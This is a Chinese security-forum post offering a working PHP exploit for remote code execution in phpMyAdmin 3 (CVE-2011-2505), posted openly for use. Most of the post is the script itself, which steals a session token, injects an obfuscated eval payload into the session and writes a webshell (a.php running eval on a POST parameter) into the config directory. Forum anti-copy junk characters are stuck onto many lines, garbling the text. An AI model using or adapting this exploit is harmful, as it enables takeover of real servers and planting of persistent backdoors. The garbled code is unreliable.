找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2204|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。( S1 f. N$ A# b5 q
' ~8 V0 J. A7 Z$ ]/ b
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
9 z( P4 c5 p9 a; q* a0 A5 U+ X: k9 ~& `! a/ M# J; Y
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:' f6 G2 F/ W5 c) G6 \6 K
一是session.auto_start = 1;
5 Z3 \- u7 B% m二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。. h" i( x, `# f& b. o4 S% B8 K
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。/ [0 f5 d/ w4 T5 p9 u0 `2 w1 C  P

# }$ f% o/ A# l# J1 Y* Y/ D" S在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
' f( t& [4 L& x
+ u4 L( \2 Y1 }! o& L于是写了这个php版本的exp,代码如下:# q4 _9 B8 u; ~  W$ K
2 Z9 ^+ m4 O' a  `& T* W, ]7 p
#!/usr/bin/php
: A& ~" Y4 K7 _3 H<?php8 i  O8 X* k$ I! s) E
print_r('
, i' B3 P2 R2 h! t* Y/ F* q+---------------------------------------------------------------------------+
# k& p1 g, P- p5 Cpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
/ `3 D( z4 u. F) X+ ~by oldjun(www.oldjun.com)8 o5 g. x4 `0 x8 J
welcome to www.t00ls.net  S4 R- `2 ]* _/ E9 a+ w
mail: oldjun@gmail.com
% S+ B; O3 g) z: jAssigned CVE id: CVE-2011-2505
' m4 Q, e$ j& c+ d4 X: f! T, Z+---------------------------------------------------------------------------+
, I( l. H6 y5 E* C4 P# a9 X* d; I');
  R$ v1 z& Z. y6 ]. P8 ~& f# Q' E$ W/ s9 d0 j! I. g! J3 c4 ^
/**
: e8 E) |9 B: {4 V# T/ f * working when the directory:"config" exists and is writeable.  s1 ?5 Z" U7 D0 d2 V: [5 C7 L
**/& S" U& A9 Z+ @* v
8 n  E0 v0 x$ ^
if ($argc < 3) {) q6 `5 U( E3 H4 D! c: h
    print_r('8 o9 L1 F+ h$ d6 Z5 R. i
+---------------------------------------------------------------------------+" y3 N/ g8 g7 J# j7 o+ V' c
Usage: php '.$argv[0].' host path
- j/ a/ X. t3 {' E, A2 S3 a6 M+ y# Jhost:      target server (ip/hostname)6 r, j; l  F' ]  A
path:      path to pma3
8 z7 d8 a9 u  g4 D9 KExample:
# Y) v2 t6 r' E% D% Tphp '.$argv[0].' localhost /pma/+ R' w5 L" i% b+ E0 G
+---------------------------------------------------------------------------+) }) X  U' \) C5 \* u/ R( M, z- |
');' b. ?' J* K! `3 C' v
    exit;( T' l* d7 M" m# G$ ^
}: K0 Z+ C; f/ c9 X, V
. R$ b) z: c) f+ c+ V& \! l
$host = $argv[1];# [8 s, ~/ q# ]* J2 ^" U
$path = $argv[2];
, d4 _6 H4 b$ R3 k5 n
. A7 |% r- }% N6 |* x( R4 ]6 \7 c7 v/**+ s, B/ z4 A! I% A
* Try to determine if the directory:"config" exists' Z1 j7 V$ Y% @2 J7 L
**/
0 o  C* v* y+ _+ x- D% jecho "[+] Try to determine if the directory:config exists....\n";5 h$ j% X5 w+ A! V
$returnstr=php_request('config/');) n, x0 f9 _4 e" c, J9 ?
if(strpos($returnstr,'404')){* W2 w1 k" b9 e' \
    exit("[-] Exploit Failed! The directory:config do not exists!\n");- H* L" {( w! L0 D8 a) W
}# Z  ^3 W. V( m4 g) `- y) O  H

4 X+ P4 o2 ^: ~) v0 k# w4 X5 A/**
) @/ C5 N( Q) h * Try to get token and sessionid
8 A$ A5 l9 u. T9 B6 o**/
8 }% O" W) f* e- j- K' wecho "[+] Try to get token and sessionid....\n";6 h- }/ j1 v$ A
$result=php_request('index.php');$ P5 \8 ?2 ~* c9 H! t! B) K  {
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);2 H. {+ Q- Z* [  {+ f
$token=$resp[3];% }) w' E; U) h  L& w
$sessionid=$resp[1];
4 G" s) D& v7 I% d# D5 d( Tif($token && $sessionid){
! C9 k  s, y+ c& T3 k5 S    echo "[+] tokentoken\n";
8 P1 p, q5 u3 y- ?4 R6 N    echo "[+] Session IDsessionid\n";& o2 |5 y3 J. t' [8 Q  x6 O. E. k
}else{# W: g  D) H" g' S6 t7 H; |) H$ h
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");1 U6 @- d  e0 g; f% G  e/ W8 S
}
  \3 @5 }% J" x8 |2 _, s; E
% u  G6 E: j4 s( [* T/**
+ r, L' k' o+ k$ N7 f: x" T, n * Try to insert shell into session: d$ i+ j, [1 r( W
**/' c/ _' H) H' v0 [8 i# \' G
echo "[+] Try to insert shell into session....\n";0 R5 P+ V2 \  _6 L
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.  j6 {% w4 I4 Y0 v$ i0 I

9 `8 D/ _" D8 q: |/**
1 M" C; ?. P  H * Try to create webshell0 ?# n6 @8 n! S
**/( P, F  o* Q. M% a4 l8 o. u  s
echo "[+] Try to create webshell....\n";% l( B7 H" g+ y2 C  g1 {9 l
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
  l' b5 l; \/ \/**
6 j. u2 t6 l! `! d; m * Try to check if the webshell was created successfully: g% O/ \4 c, M* f  J
**/9 a0 j/ g7 e; h/ E% u, l# l, j
echo "[+] Try to check if the webshell was created successfully....\n";& f+ p3 x; X- h# t$ j0 a
$content=php_request('config/config.inc.php');
  @# M& o+ K  m9 S1 f8 Aif(strpos($content,'t00ls')){! Y, \: d/ a  v/ h8 n* G; n
    echo "[+] Congratulations! Expoilt successfully....\n";( h2 p( N" W/ @  J  X& n5 J
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";; a4 H' P" U3 f6 [
}else{! W6 [" l" R) P: ]
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");3 y; D/ [  c/ M/ s
}! G$ N2 d, ^! Y) ~& t5 ]% I7 h5 I; f
5 c! k: m$ R; [1 @
function php_request($url,$data='',$cookie=''){
0 h$ _- q$ n; X% e7 i% @% i    global  $host, $path;
# ^3 M0 ^* O: L* Y, v7 v0 h   
* v) r8 u& E& J0 ^    $method=$data?'POST':'GET';4 \6 m3 F8 ?" e! d* O1 n3 G
    7 c3 L8 w" ?4 {1 a
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";7 W' ^( @% Q8 n/ z& J+ b9 l% s9 N
    $packet .= "Accept: */*\r\n";
8 |& p9 O8 q, j8 A& `    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";( b+ n8 M% e" d5 p- s
    $packet .= "Host: $host\r\n";
0 Y; K0 J, F5 A! y7 R3 S/ c    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
/ g3 P% q7 B: W8 o; F' q    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";  I3 ~  o; c) d& F8 D' y
    $packet .= $cookie?"Cookie: $cookie\r\n":"";# G5 ~. }( `  `& `! l1 p! p  z
    $packet .= "Connection: Close\r\n\r\n";
6 Z4 a1 J& ^7 L6 E    $packet .= $data?$data:"";
4 D) [* _& D7 ^2 }
# X/ u4 B* n) {' p' B5 o& e    $fp = fsockopen(gethostbyname($host), 80);* T9 ~/ S+ a. Q# z7 F% R
    if (!$fp) {
9 A$ T2 D3 z; w& {  x% ]" p; [4 Z3 a, C+ o9 B    echo 'No response from '.$host; die;
9 ^" r: T* r  d* j: p# {    }
) Q6 n& R' d6 t+ Y* v7 T) U& W' P    fputs($fp, $packet);
. q) C: s% s' \1 \
: b0 e/ O) b" F! r8 u8 X, f    $resp = '';
+ F4 ^* V; w% V$ N6 j
, q" Y: p' a3 h1 n- Q. v. R( w+ M    while ($fp && !feof($fp))
( S- p* T- {% Z: j- p" H        $resp .= fread($fp, 1024);
: {6 T- ]+ r& C; k. t+ q) k$ `( l. w# E4 \% E8 B  r( \
    return $resp;0 g" a# K% d5 d, f2 g( p( |
}
1 r, q9 [/ S5 |6 F    % D1 s2 q0 S; p, `- g: o* j' ^: V  V6 r
?> : t: u. m0 D- C% x( E0 C+ G
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表